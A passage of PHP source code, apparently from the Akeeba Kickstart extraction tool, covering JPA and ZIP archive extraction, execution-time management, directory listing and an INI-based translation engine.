		while (!$ret && !$fullEOF)
		{
			$this->currentPartOffset = @ftell($this->fp);

			if ($this->isEOF(true))
			{
				$this->nextFile();
			}

			if ($this->isEOF(false))
			{
				$fullEOF = true;
				continue;
			}

			// Read 512Kb
			$chunk     = fread($this->fp, 524288);
			$size_read = mb_strlen($chunk, '8bit');
			//$pos = strpos($chunk, 'JPF');
			$pos = mb_strpos($chunk, 'JPF', 0, '8bit');

			if ($pos !== false)
			{
				// We found it!
				$this->currentPartOffset += $pos + 3;
				@fseek($this->fp, $this->currentPartOffset, SEEK_SET);
				$ret = true;
			}
			else
			{
				// Not yet found :(
				$this->currentPartOffset = @ftell($this->fp);
			}
		}

		return $ret;
	}

	/**
	 * Creates the directory this file points to
	 */
	protected function createDirectory()
	{
		if (AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			return true;
		}

		// Do we need to create a directory?
		if (empty($this->fileHeader->realFile))
		{
			$this->fileHeader->realFile = $this->fileHeader->file;
		}

		$lastSlash = strrpos($this->fileHeader->realFile, '/');
		$dirName   = substr($this->fileHeader->realFile, 0, $lastSlash);
		$perms     = $this->flagRestorePermissions ? $this->fileHeader->permissions : 0755;
		$ignore    = AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($dirName);

		if (($this->postProcEngine->createDirRecursive($dirName, $perms) == false) && (!$ignore))
		{
			$this->setError(AKText::sprintf('COULDNT_CREATE_DIR', $dirName));

			return false;
		}
		else
		{
			return true;
		}
	}

	/**
	 * Concrete classes must use this method to process file data. It must set $runState to AK_STATE_DATAREAD when
	 * it's finished processing the file data.
	 *
	 * @return bool True if processing the file data was successful, false if an error occurred
	 */
	protected function processFileData()
	{
		switch ($this->fileHeader->type)
		{
			case 'dir':
				return $this->processTypeDir();
				break;

			case 'link':
				return $this->processTypeLink();
				break;

			case 'file':
				switch ($this->fileHeader->compression)
				{
					case 'none':
						return $this->processTypeFileUncompressed();
						break;

					case 'gzip':
					case 'bzip2':
						return $this->processTypeFileCompressedSimple();
						break;

				}
				break;

			default:
				debugMsg('Unknown file type ' . $this->fileHeader->type);
				break;
		}

		// Unknown file type. Play dumb.
		return true;
	}

	/**
	 * Process the file data of a directory entry
	 *
	 * @return bool
	 */
	private function processTypeDir()
	{
		// Directory entries in the JPA do not have file data, therefore we're done processing the entry
		$this->runState = AK_STATE_DATAREAD;

		return true;
	}

	/**
	 * Process the file data of a link entry
	 *
	 * @return bool
	 */
	private function processTypeLink()
	{
		$readBytes   = 0;
		$toReadBytes = 0;
		$leftBytes   = $this->fileHeader->compressed;
		$data        = '';

		while ($leftBytes > 0)
		{
			$toReadBytes     = ($leftBytes > $this->chunkSize) ? $this->chunkSize : $leftBytes;
			$mydata          = $this->fread($this->fp, $toReadBytes);
			$reallyReadBytes = akstringlen($mydata);
			$data .= $mydata;
			$leftBytes -= $reallyReadBytes;

			if ($reallyReadBytes < $toReadBytes)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
				}
				else
				{
					debugMsg('End of local file before reading all data with no more parts left. The archive is corrupt or truncated.');
					// Nope. The archive is corrupt
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}
		}

		$filename = isset($this->fileHeader->realFile) ? $this->fileHeader->realFile : $this->fileHeader->file;

		if (!AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			// Try to remove an existing file or directory by the same name
			if (file_exists($filename))
			{
				@unlink($filename);
				@rmdir($filename);
			}

			// Remove any trailing slash
			if (substr($filename, -1) == '/')
			{
				$filename = substr($filename, 0, -1);
			}
			// Create the symlink - only possible within PHP context. There's no support built in the FTP protocol, so no postproc use is possible here :(
			@symlink($data, $filename);
		}

		$this->runState = AK_STATE_DATAREAD;

		return true; // No matter if the link was created!
	}

	private function processTypeFileUncompressed()
	{
		// Uncompressed files are being processed in small chunks, to avoid timeouts
		if (($this->dataReadLength == 0) && !AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);
		}

		// Open the output file
		if (!AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);

			if ($this->dataReadLength == 0)
			{
				$outfp = @fopen($this->fileHeader->realFile, 'wb');
			}
			else
			{
				$outfp = @fopen($this->fileHeader->realFile, 'ab');
			}

			// Can we write to the file?
			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				debugMsg('Could not write to output file');
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->compressed == 0)
		{
			// No file data!
			if (!AKFactory::get('kickstart.setup.dryrun', '0') && is_resource($outfp))
			{
				@fclose($outfp);
			}

			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		// Reference to the global timer
		$timer = AKFactory::getTimer();

		$toReadBytes = 0;
		$leftBytes   = $this->fileHeader->compressed - $this->dataReadLength;

		// Loop while there's data to read and enough time to do it
		while (($leftBytes > 0) && ($timer->getTimeLeft() > 0))
		{
			$toReadBytes     = ($leftBytes > $this->chunkSize) ? $this->chunkSize : $leftBytes;
			$data            = $this->fread($this->fp, $toReadBytes);
			$reallyReadBytes = akstringlen($data);
			$leftBytes -= $reallyReadBytes;
			$this->dataReadLength += $reallyReadBytes;

			if ($reallyReadBytes < $toReadBytes)
			{
				// We read less than requested! Why? Did we hit local EOF?
				if ($this->isEOF(true) && !$this->isEOF(false))
				{
					// Yeap. Let's go to the next file
					$this->nextFile();
				}
				else
				{
					// Nope. The archive is corrupt
					debugMsg('Not enough data in file. The archive is truncated or corrupt.');
					$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

					return false;
				}
			}

			if (!AKFactory::get('kickstart.setup.dryrun', '0'))
			{
				if (is_resource($outfp))
				{
					@fwrite($outfp, $data);
				}
			}
		}

		// Close the file pointer
		if (!AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			if (is_resource($outfp))
			{
				@fclose($outfp);
			}
		}

		// Was this a pre-timeout bail out?
		if ($leftBytes > 0)
		{
			$this->runState = AK_STATE_DATA;
		}
		else
		{
			// Oh! We just finished!
			$this->runState       = AK_STATE_DATAREAD;
			$this->dataReadLength = 0;
		}

		return true;
	}

	private function processTypeFileCompressedSimple()
	{
		if (!AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			// Before processing file data, ensure permissions are adequate
			$this->setCorrectPermissions($this->fileHeader->file);

			// Open the output file
			$outfp = @fopen($this->fileHeader->realFile, 'wb');

			// Can we write to the file?
			$ignore =
				AKFactory::get('kickstart.setup.ignoreerrors', false) || $this->isIgnoredDirectory($this->fileHeader->file);

			if (($outfp === false) && (!$ignore))
			{
				// An error occurred
				debugMsg('Could not write to output file');
				$this->setError(AKText::sprintf('COULDNT_WRITE_FILE', $this->fileHeader->realFile));

				return false;
			}
		}

		// Does the file have any data, at all?
		if ($this->fileHeader->compressed == 0)
		{
			// No file data!
			if (!AKFactory::get('kickstart.setup.dryrun', '0'))
			{
				if (is_resource($outfp))
				{
					@fclose($outfp);
				}
			}
			$this->runState = AK_STATE_DATAREAD;

			return true;
		}

		// Simple compressed files are processed as a whole; we can't do chunk processing
		$zipData = $this->fread($this->fp, $this->fileHeader->compressed);
		while (akstringlen($zipData) < $this->fileHeader->compressed)
		{
			// End of local file before reading all data, but have more archive parts?
			if ($this->isEOF(true) && !$this->isEOF(false))
			{
				// Yeap. Read from the next file
				$this->nextFile();
				$bytes_left = $this->fileHeader->compressed - akstringlen($zipData);
				$zipData .= $this->fread($this->fp, $bytes_left);
			}
			else
			{
				debugMsg('End of local file before reading all data with no more parts left. The archive is corrupt or truncated.');
				$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

				return false;
			}
		}

		if ($this->fileHeader->compression == 'gzip')
		{
			$unzipData = gzinflate($zipData);
		}
		elseif ($this->fileHeader->compression == 'bzip2')
		{
			$unzipData = bzdecompress($zipData);
		}
		unset($zipData);

		// Write to the file.
		if (!AKFactory::get('kickstart.setup.dryrun', '0') && is_resource($outfp))
		{
			@fwrite($outfp, $unzipData, $this->fileHeader->uncompressed);
			@fclose($outfp);
		}
		unset($unzipData);

		$this->runState = AK_STATE_DATAREAD;

		return true;
	}
}

/**
 * ZIP archive extraction class
 *
 * Since the file data portion of ZIP and JPA are similarly structured (it's empty for dirs,
 * linked node name for symlinks, dumped binary data for no compressions and dumped gzipped
 * binary data for gzip compression) we just have to subclass AKUnarchiverJPA and change the
 * header reading bits. Reusable code ;)
 */
class AKUnarchiverZIP extends AKUnarchiverJPA
{
	var $expectDataDescriptor = false;

	protected function readArchiveHeader()
	{
		debugMsg('Preparing to read archive header');
		// Initialize header data array
		$this->archiveHeaderData = new stdClass();

		// Open the first part
		debugMsg('Opening the first part');
		$this->nextFile();

		// Fail for unreadable files
		if ($this->fp === false)
		{
			debugMsg('The first part is not readable');

			return false;
		}

		// Read a possible multipart signature
		$sigBinary  = fread($this->fp, 4);
		$headerData = unpack('Vsig', $sigBinary);

		// Roll back if it's not a multipart archive
		if ($headerData['sig'] == 0x04034b50)
		{
			debugMsg('The archive is not multipart');
			fseek($this->fp, -4, SEEK_CUR);
		}
		else
		{
			debugMsg('The archive is multipart');
		}

		$multiPartSigs = array(
			0x08074b50,        // Multi-part ZIP
			0x30304b50,        // Multi-part ZIP (alternate)
			0x04034b50        // Single file
		);
		if (!in_array($headerData['sig'], $multiPartSigs))
		{
			debugMsg('Invalid header signature ' . dechex($headerData['sig']));
			$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

			return false;
		}

		$this->currentPartOffset = @ftell($this->fp);
		debugMsg('Current part offset after reading header: ' . $this->currentPartOffset);

		$this->dataReadLength = 0;

		return true;
	}

	/**
	 * Concrete classes must use this method to read the file header
	 *
	 * @return bool True if reading the file was successful, false if an error occurred or we reached end of archive
	 */
	protected function readFileHeader()
	{
		// If the current part is over, proceed to the next part please
		if ($this->isEOF(true))
		{
			debugMsg('Opening next archive part');
			$this->nextFile();
		}

		$this->currentPartOffset = ftell($this->fp);

		if ($this->expectDataDescriptor)
		{
			// The last file had bit 3 of the general purpose bit flag set. This means that we have a
			// 12 byte data descriptor we need to skip. To make things worse, there might also be a 4
			// byte optional data descriptor header (0x08074b50).
			$junk = @fread($this->fp, 4);
			$junk = unpack('Vsig', $junk);
			if ($junk['sig'] == 0x08074b50)
			{
				// Yes, there was a signature
				$junk = @fread($this->fp, 12);
				debugMsg('Data descriptor (w/ header) skipped at ' . (ftell($this->fp) - 12));
			}
			else
			{
				// No, there was no signature, just read another 8 bytes
				$junk = @fread($this->fp, 8);
				debugMsg('Data descriptor (w/out header) skipped at ' . (ftell($this->fp) - 8));
			}

			// And check for EOF, too
			if ($this->isEOF(true))
			{
				debugMsg('EOF before reading header');

				$this->nextFile();
			}
		}

		// Get and decode Local File Header
		$headerBinary = fread($this->fp, 30);
		$headerData   =
			unpack('Vsig/C2ver/vbitflag/vcompmethod/vlastmodtime/vlastmoddate/Vcrc/Vcompsize/Vuncomp/vfnamelen/veflen', $headerBinary);

		// Check signature
		if (!($headerData['sig'] == 0x04034b50))
		{
			debugMsg('Not a file signature at ' . (ftell($this->fp) - 4));

			// The signature is not the one used for files. Is this a central directory record (i.e. we're done)?
			if ($headerData['sig'] == 0x02014b50)
			{
				debugMsg('EOCD signature at ' . (ftell($this->fp) - 4));
				// End of ZIP file detected. We'll just skip to the end of file...
				while ($this->nextFile())
				{
				}
				@fseek($this->fp, 0, SEEK_END); // Go to EOF
				return false;
			}
			else
			{
				debugMsg('Invalid signature ' . dechex($headerData['sig']) . ' at ' . ftell($this->fp));
				$this->setError(AKText::_('ERR_CORRUPT_ARCHIVE'));

				return false;
			}
		}

		// If bit 3 of the bitflag is set, expectDataDescriptor is true
		$this->expectDataDescriptor = ($headerData['bitflag'] & 4) == 4;

		$this->fileHeader            = new stdClass();
		$this->fileHeader->timestamp = 0;

		// Read the last modified data and time
		$lastmodtime = $headerData['lastmodtime'];
		$lastmoddate = $headerData['lastmoddate'];

		if ($lastmoddate && $lastmodtime)
		{
			// ----- Extract time
			$v_hour    = ($lastmodtime & 0xF800) >> 11;
			$v_minute  = ($lastmodtime & 0x07E0) >> 5;
			$v_seconde = ($lastmodtime & 0x001F) * 2;

			// ----- Extract date
			$v_year  = (($lastmoddate & 0xFE00) >> 9) + 1980;
			$v_month = ($lastmoddate & 0x01E0) >> 5;
			$v_day   = $lastmoddate & 0x001F;

			// ----- Get UNIX date format
			$this->fileHeader->timestamp = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
		}

		$isBannedFile = false;

		$this->fileHeader->compressed   = $headerData['compsize'];
		$this->fileHeader->uncompressed = $headerData['uncomp'];
		$nameFieldLength                = $headerData['fnamelen'];
		$extraFieldLength               = $headerData['eflen'];

		// Read filename field
		$this->fileHeader->file = fread($this->fp, $nameFieldLength);

		// Handle file renaming
		$isRenamed = false;
		if (is_array($this->renameFiles) && (count($this->renameFiles) > 0))
		{
			if (array_key_exists($this->fileHeader->file, $this->renameFiles))
			{
				$this->fileHeader->file = $this->renameFiles[$this->fileHeader->file];
				$isRenamed              = true;
			}
		}

		// Handle directory renaming
		$isDirRenamed = false;
		if (is_array($this->renameDirs) && (count($this->renameDirs) > 0))
		{
			if (array_key_exists(dirname($this->fileHeader->file), $this->renameDirs))
			{
				$file         =
					rtrim($this->renameDirs[dirname($this->fileHeader->file)], '/') . '/' . basename($this->fileHeader->file);
				$isRenamed    = true;
				$isDirRenamed = true;
			}
		}

		// Read extra field if present
		if ($extraFieldLength > 0)
		{
			$extrafield = fread($this->fp, $extraFieldLength);
		}

		debugMsg('*' . ftell($this->fp) . ' IS START OF ' . $this->fileHeader->file . ' (' . $this->fileHeader->compressed . ' bytes)');


		// Decide filetype -- Check for directories
		$this->fileHeader->type = 'file';
		if (strrpos($this->fileHeader->file, '/') == strlen($this->fileHeader->file) - 1)
		{
			$this->fileHeader->type = 'dir';
		}
		// Decide filetype -- Check for symbolic links
		if (($headerData['ver1'] == 10) && ($headerData['ver2'] == 3))
		{
			$this->fileHeader->type = 'link';
		}

		switch ($headerData['compmethod'])
		{
			case 0:
				$this->fileHeader->compression = 'none';
				break;
			case 8:
				$this->fileHeader->compression = 'gzip';
				break;
		}

		// Find hard-coded banned files
		if ((basename($this->fileHeader->file) == ".") || (basename($this->fileHeader->file) == ".."))
		{
			$isBannedFile = true;
		}

		// Also try to find banned files passed in class configuration
		if ((count($this->skipFiles) > 0) && (!$isRenamed))
		{
			if (in_array($this->fileHeader->file, $this->skipFiles))
			{
				$isBannedFile = true;
			}
		}

		// If we have a banned file, let's skip it
		if ($isBannedFile)
		{
			// Advance the file pointer, skipping exactly the size of the compressed data
			$seekleft = $this->fileHeader->compressed;
			while ($seekleft > 0)
			{
				// Ensure that we can seek past archive part boundaries
				$curSize = @filesize($this->archiveList[$this->currentPartNumber]);
				$curPos  = @ftell($this->fp);
				$canSeek = $curSize - $curPos;
				if ($canSeek > $seekleft)
				{
					$canSeek = $seekleft;
				}
				@fseek($this->fp, $canSeek, SEEK_CUR);
				$seekleft -= $canSeek;
				if ($seekleft)
				{
					$this->nextFile();
				}
			}

			$this->currentPartOffset = @ftell($this->fp);
			$this->runState          = AK_STATE_DONE;

			return true;
		}

		// Remove the removePath, if any
		$this->fileHeader->file = $this->removePath($this->fileHeader->file);

		// Last chance to prepend a path to the filename
		if (!empty($this->addPath) && !$isDirRenamed)
		{
			$this->fileHeader->file = $this->addPath . $this->fileHeader->file;
		}

		// Get the translated path name
		if ($this->fileHeader->type == 'file')
		{
			$this->fileHeader->realFile = $this->postProcEngine->processFilename($this->fileHeader->file);
		}
		elseif ($this->fileHeader->type == 'dir')
		{
			$this->fileHeader->timestamp = 0;

			$dir = $this->fileHeader->file;

			$this->postProcEngine->createDirRecursive($this->fileHeader->file, 0755);
			$this->postProcEngine->processFilename(null);
		}
		else
		{
			// Symlink; do not post-process
			$this->fileHeader->timestamp = 0;
			$this->postProcEngine->processFilename(null);
		}

		$this->createDirectory();

		// Header is read
		$this->runState = AK_STATE_HEADER;

		return true;
	}

}

/**
 * Timer class
 */
class AKCoreTimer extends AKAbstractObject
{
	/** @var int Maximum execution time allowance per step */
	private $max_exec_time = null;

	/** @var int Timestamp of execution start */
	private $start_time = null;

	/**
	 * Public constructor, creates the timer object and calculates the execution time limits
	 */
	public function __construct()
	{
		// Initialize start time
		$this->start_time = $this->microtime_float();

		// Get configured max time per step and bias
		$config_max_exec_time = AKFactory::get('kickstart.tuning.max_exec_time', 14);
		$bias                 = AKFactory::get('kickstart.tuning.run_time_bias', 75) / 100;

		// Get PHP's maximum execution time (our upper limit)
		if (@function_exists('ini_get'))
		{
			$php_max_exec_time = @ini_get("maximum_execution_time");
			if ((!is_numeric($php_max_exec_time)) || ($php_max_exec_time == 0))
			{
				// If we have no time limit, set a hard limit of about 10 seconds
				// (safe for Apache and IIS timeouts, verbose enough for users)
				$php_max_exec_time = 14;
			}
		}
		else
		{
			// If ini_get is not available, use a rough default
			$php_max_exec_time = 14;
		}

		// Apply an arbitrary correction to counter CMS load time
		$php_max_exec_time--;

		// Apply bias
		$php_max_exec_time    = $php_max_exec_time * $bias;
		$config_max_exec_time = $config_max_exec_time * $bias;

		// Use the most appropriate time limit value
		if ($config_max_exec_time > $php_max_exec_time)
		{
			$this->max_exec_time = $php_max_exec_time;
		}
		else
		{
			$this->max_exec_time = $config_max_exec_time;
		}
	}

	/**
	 * Returns the current timestampt in decimal seconds
	 */
	private function microtime_float()
	{
		list($usec, $sec) = explode(" ", microtime());

		return ((float) $usec + (float) $sec);
	}

	/**
	 * Wake-up function to reset internal timer when we get unserialized
	 */
	public function __wakeup()
	{
		// Re-initialize start time on wake-up
		$this->start_time = $this->microtime_float();
	}

	/**
	 * Gets the number of seconds left, before we hit the "must break" threshold
	 *
	 * @return float
	 */
	public function getTimeLeft()
	{
		return $this->max_exec_time - $this->getRunningTime();
	}

	/**
	 * Gets the time elapsed since object creation/unserialization, effectively how
	 * long Akeeba Engine has been processing data
	 *
	 * @return float
	 */
	public function getRunningTime()
	{
		return $this->microtime_float() - $this->start_time;
	}

	/**
	 * Enforce the minimum execution time
	 */
	public function enforce_min_exec_time()
	{
		// Try to get a sane value for PHP's maximum_execution_time INI parameter
		if (@function_exists('ini_get'))
		{
			$php_max_exec = @ini_get("maximum_execution_time");
		}
		else
		{
			$php_max_exec = 10;
		}
		if (($php_max_exec == "") || ($php_max_exec == 0))
		{
			$php_max_exec = 10;
		}
		// Decrease $php_max_exec time by 500 msec we need (approx.) to tear down
		// the application, as well as another 500msec added for rounding
		// error purposes. Also make sure this is never gonna be less than 0.
		$php_max_exec = max($php_max_exec * 1000 - 1000, 0);

		// Get the "minimum execution time per step" Akeeba Backup configuration variable
		$minexectime = AKFactory::get('kickstart.tuning.min_exec_time', 0);
		if (!is_numeric($minexectime))
		{
			$minexectime = 0;
		}

		// Make sure we are not over PHP's time limit!
		if ($minexectime > $php_max_exec)
		{
			$minexectime = $php_max_exec;
		}

		// Get current running time
		$elapsed_time = $this->getRunningTime() * 1000;

		// Only run a sleep delay if we haven't reached the minexectime execution time
		if (($minexectime > $elapsed_time) && ($elapsed_time > 0))
		{
			$sleep_msec = $minexectime - $elapsed_time;
			if (function_exists('usleep'))
			{
				usleep(1000 * $sleep_msec);
			}
			elseif (function_exists('time_nanosleep'))
			{
				$sleep_sec  = floor($sleep_msec / 1000);
				$sleep_nsec = 1000000 * ($sleep_msec - ($sleep_sec * 1000));
				time_nanosleep($sleep_sec, $sleep_nsec);
			}
			elseif (function_exists('time_sleep_until'))
			{
				$until_timestamp = time() + $sleep_msec / 1000;
				time_sleep_until($until_timestamp);
			}
			elseif (function_exists('sleep'))
			{
				$sleep_sec = ceil($sleep_msec / 1000);
				sleep($sleep_sec);
			}
		}
		elseif ($elapsed_time > 0)
		{
			// No sleep required, even if user configured us to be able to do so.
		}
	}

	/**
	 * Reset the timer. It should only be used in CLI mode!
	 */
	public function resetTime()
	{
		$this->start_time = $this->microtime_float();
	}

	/**
	 * @param int $max_exec_time
	 */
	public function setMaxExecTime($max_exec_time)
	{
		$this->max_exec_time = $max_exec_time;
	}
}

/**
 * A filesystem scanner which uses opendir()
 */
class AKUtilsLister extends AKAbstractObject
{
	public function &getFiles($folder, $pattern = '*')
	{
		// Initialize variables
		$arr   = array();
		$false = false;

		if (!is_dir($folder))
		{
			return $false;
		}

		$handle = @opendir($folder);
		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			$this->setWarning('Unreadable directory ' . $folder);

			return $false;
		}

		while (($file = @readdir($handle)) !== false)
		{
			if (!fnmatch($pattern, $file))
			{
				continue;
			}

			if (($file != '.') && ($file != '..'))
			{
				$ds    =
					($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ?
						'' : DIRECTORY_SEPARATOR;
				$dir   = $folder . $ds . $file;
				$isDir = is_dir($dir);
				if (!$isDir)
				{
					$arr[] = $dir;
				}
			}
		}
		@closedir($handle);

		return $arr;
	}

	public function &getFolders($folder, $pattern = '*')
	{
		// Initialize variables
		$arr   = array();
		$false = false;

		if (!is_dir($folder))
		{
			return $false;
		}

		$handle = @opendir($folder);
		// If directory is not accessible, just return FALSE
		if ($handle === false)
		{
			$this->setWarning('Unreadable directory ' . $folder);

			return $false;
		}

		while (($file = @readdir($handle)) !== false)
		{
			if (!fnmatch($pattern, $file))
			{
				continue;
			}

			if (($file != '.') && ($file != '..'))
			{
				$ds    =
					($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ?
						'' : DIRECTORY_SEPARATOR;
				$dir   = $folder . $ds . $file;
				$isDir = is_dir($dir);
				if ($isDir)
				{
					$arr[] = $dir;
				}
			}
		}
		@closedir($handle);

		return $arr;
	}
}

/**
 * A simple INI-based i18n engine
 */
class AKText extends AKAbstractObject
{
	/**
	 * The default (en_GB) translation used when no other translation is available
	 *
	 * @var array
	 */
	private $default_translation = array(
		'ERR_NOT_A_JPA_FILE'              => 'The file is not a JPA archive',
		'ERR_CORRUPT_ARCHIVE'             => 'The archive file is corrupt, truncated or archive parts are missing',
		'ERR_INVALID_LOGIN'               => 'Invalid login',
		'COULDNT_CREATE_DIR'              => 'Could not create %s folder',
		'COULDNT_WRITE_FILE'              => 'Could not open %s for writing.',
		'INVALID_FILE_HEADER'             => 'Invalid header in archive file, part %s, offset %s',
		'ERR_COULD_NOT_OPEN_ARCHIVE_PART' => 'Could not open archive part file %s for reading. Check that the file exists, is readable by the web server and is not in a directory made out of reach by chroot, open_basedir restrictions or any other restriction put in place by your host.',
	);

	/**
	 * The array holding the translation keys
	 *
	 * @var array
	 */
	private $strings;

	/**
	 * The currently detected language (ISO code)
	 *
	 * @var string
	 */
	private $language;

	/*
	 * Initializes the translation engine
	 * @return AKText
	 */
	public function __construct()
	{
		// Start with the default translation
		$this->strings = $this->default_translation;
		// Try loading the translation file in English, if it exists
		$this->loadTranslation('en-GB');
		// Try loading the translation file in the browser's preferred language, if it exists
		$this->getBrowserLanguage();
		if (!is_null($this->language))
		{
			$this->loadTranslation();
		}
	}

	private function loadTranslation($lang = null)
	{
		if (defined('KSLANGDIR'))
		{
			$dirname = KSLANGDIR;
		}
		else
		{
			$dirname = KSROOTDIR;
		}
		$basename = basename(__FILE__, '.php') . '.ini';
		if (empty($lang))
		{
			$lang = $this->language;
		}

		$translationFilename = $dirname . DIRECTORY_SEPARATOR . $lang . '.' . $basename;
		if (!@file_exists($translationFilename) && ($basename != 'kickstart.ini'))
		{
			$basename            = 'kickstart.ini';
			$translationFilename = $dirname . DIRECTORY_SEPARATOR . $lang . '.' . $basename;
		}
		if (!@file_exists($translationFilename))
		{
			return;
		}
		$temp = self::parse_ini_file($translationFilename, false);

		if (!is_array($this->strings))
		{
			$this->strings = array();
		}
		if (empty($temp))
		{
			$this->strings = array_merge($this->default_translation, $this->strings);
		}
		else
		{
			$this->strings = array_merge($this->strings, $temp);
		}
	}

	/**
	 * A PHP based INI file parser.
	 *
	 * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on
	 * the parse_ini_file page on http://gr.php.net/parse_ini_file
	 *
	 * @param string $file             Filename to process
	 * @param bool   $process_sections True to also process INI sections
	 *
	 * @return array An associative array of sections, keys and values
	 * @access private
	 */
	public static function parse_ini_file($file, $process_sections = false, $raw_data = false)
	{
		$process_sections = ($process_sections !== true) ? false : true;

		if (!$raw_data)
		{
			$ini = @file($file);
		}
		else
		{
			$ini = $file;
		}
		if (count($ini) == 0)
		{
			return array();
		}

		$sections = array();
		$values   = array();
		$result   = array();
		$globals  = array();
		$i        = 0;
		if (!empty($ini))
		{
			foreach ($ini as $line)
			{
				$line = trim($line);
				$line = str_replace("\t", " ", $line);

				// Comments
				if (!preg_match('/^[a-zA-Z0-9[]/', $line))
				{
					continue;
				}

				// Sections
				if ($line[0] == '[')
				{
					$tmp        = explode(']', $line);
					$sections[] = trim(substr($tmp[0], 1));
					$i++;
					continue;
				}

				// Key-value pair
				list($key, $value) = explode('=', $line, 2);
				$key   = trim($key);
				$value = trim($value);
				if (strstr($value, ";"))
				{
					$tmp = explode(';', $value);
					if (count($tmp) == 2)
					{
						if ((($value[0] != '"') && ($value[0] != "'")) ||
							preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) ||
							preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value)
						)
						{
							$value = $tmp[0];
						}
					}
					else
					{
						if ($value[0] == '"')
						{
							$value = preg_replace('/^"(.*)".*/', '$1', $value);
						}
						elseif ($value[0] == "'")
						{
							$value = preg_replace("/^'(.*)'.*/", '$1', $value);
						}
						else
						{
							$value = $tmp[0];
						}
					}
				}
				$value = trim($value);
				$value = trim($value, "'\"");

				if ($i == 0)
				{
					if (substr($line, -1, 2) == '[]')
					{
						$globals[$key][] = $value;
					}
					else
					{
						$globals[$key] = $value;
					}
				}
				else
				{
					if (substr($line, -1, 2) == '[]')
					{
						$values[$i - 1][$key][] = $value;
					}
					else
					{
						$values[$i - 1][$key] = $value;
					}
				}
			}
		}

		for ($j = 0; $j < $i; $j++)
		{
			if ($process_sections === true)
			{
				$result[$sections[$j]] = $values[$j];
			}
			else
			{
				$result[] = $values[$j];
			}
		}

		return $result + $globals;
	}

	public function getBrowserLanguage()
	{
		// Detection code from Full Operating system language detection, by Harald Hope
		// Retrieved from http://techpatterns.com/downloads/php_language_detection.php
		$user_languages = array();
		//check to see if language is set
		if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]))
		{
			$languages = strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
			// $languages = ' fr-ch;q=0.3, da, en-us;q=0.8, en;q=0.5, fr;q=0.3';
			// need to remove spaces from strings to avoid error
			$languages = str_replace(' ', '', $languages);
			$languages = explode(",", $languages);

			foreach ($languages as $language_list)
			{
				// pull out the language, place languages into array of full and primary
				// string structure:
				$temp_array = array();
				// slice out the part before ; on first step, the part before - on second, place into array
				$temp_array[0] = substr($language_list, 0, strcspn($language_list, ';'));//full language
				$temp_array[1] = substr($language_list, 0, 2);// cut out primary language
				if ((strlen($temp_array[0]) == 5) && ((substr($temp_array[0], 2, 1) == '-') || (substr($temp_array[0], 2, 1) == '_')))
				{
					$langLocation  = strtoupper(substr($temp_array[0], 3, 2));
					$temp_array[0] = $temp_array[1] . '-' . $langLocation;
				}
				//place this array into main $user_languages language array
				$user_languages[] = $temp_array;
			}
		}
		else// if no languages found
		{
			$user_languages[0] = array('', ''); //return blank array.
		}

		$this->language = null;
		$basename       = basename(__FILE__, '.php') . '.ini';

		// Try to match main language part of the filename, irrespective of the location, e.g. de_DE will do if de_CH doesn't exist.
		if (class_exists('AKUtilsLister'))
		{
			$fs       = new AKUtilsLister();
			$iniFiles = $fs->getFiles(KSROOTDIR, '*.' . $basename);
			if (empty($iniFiles) && ($basename != 'kickstart.ini'))
			{
				$basename = 'kickstart.ini';
				$iniFiles = $fs->getFiles(KSROOTDIR, '*.' . $basename);
			}
		}
		else
		{
			$iniFiles = null;
		}

		if (is_array($iniFiles))
		{
			foreach ($user_languages as $languageStruct)
			{
				if (is_null($this->language))
				{
					// Get files matching the main lang part
					$iniFiles = $fs->getFiles(KSROOTDIR, $languageStruct[1] . '-??.' . $basename);
					if (count($iniFiles) > 0)
					{
						$filename       = $iniFiles[0];
						$filename       = substr($filename, strlen(KSROOTDIR) + 1);
						$this->language = substr($filename, 0, 5);
					}
					else
					{
						$this->language = null;
					}
				}
			}
		}

		if (is_null($this->language))
		{
			// Try to find a full language match
			foreach ($user_languages as $languageStruct)
			{
				if (@file_exists($languageStruct[0] . '.' . $basename) && is_null($this->language))
				{
					$this->language = $languageStruct[0];
				}
			}
		}
		else
		{
			// Do we have an exact match?
			foreach ($user_languages as $languageStruct)
			{
				if (substr($this->language, 0, strlen($languageStruct[1])) == $languageStruct[1])
				{
					if (file_exists($languageStruct[0] . '.' . $basename))
					{
						$this->language = $languageStruct[0];
					}
				}
			}
		}

		// Now, scan for full language based on the partial match

	}

	public static function sprintf($key)
	{
		$text = self::getInstance();
		$args = func_get_args();
		if (count($args) > 0)
		{
			$args[0] = $text->_($args[0]);

			return @call_user_func_array('sprintf', $args);
		}

		return '';
	}

	/**
	 * Singleton pattern for Language
	 *
	 * @return AKText The global AKText instance
	 */
